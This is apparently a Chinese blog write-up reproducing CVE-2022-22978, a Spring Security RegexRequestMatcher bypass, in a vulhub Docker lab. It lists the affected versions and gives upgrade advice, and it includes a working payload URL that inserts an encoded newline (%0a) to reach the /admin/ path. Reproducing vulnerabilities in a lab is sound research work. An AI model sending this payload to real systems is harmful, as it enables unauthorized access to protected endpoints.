前言
特此声明:本文仅供安全研究与学习之用,禁止一切危害网络安全行为及其他途径,由使用者承担全部法律及连带责任,作者本人和团队不承担任何法律及连带责任。
Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。
在 Spring Security 5.5.6 和 5.6.3 以及不受支持的旧版本中,RegexRequestMatcher 很容易被错误配置为在某些 servlet 容器上被绕过。
一、影响版本:
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
以及其它不受支持的旧版本。
二、环境搭建:vulhub
cd /spring/CVE-2022-22978
运行
docker-compose up -d
三、漏洞复现:
漏洞地址:http://ip:8080/admin/
四、产生原因:
是由于正则发生了问题,可以通过在 URL 中加入换行符( `r` 或 `n` )来绕过。(\r的url编码为%0d,\n的url编码为%0a)
Payload:http://192.168.49.135:8080/admin/%0a-cc
五、复现成功页面:
结束服务:
docker-compose down
六、修复建议:
目前此漏洞已经修复,建议受影响用户升级更新到以下修复版本,修复链接自行官网。
更多精彩文章 欢迎关注我们,或者移步微信公众号cclhlwork
后续会酌情陆续开放微信小程序社区、博客地址、知识星球等等相关内容分享地址。
注:对文章如有任何疑问,请在微信公众号后台发送“运营小姐姐”。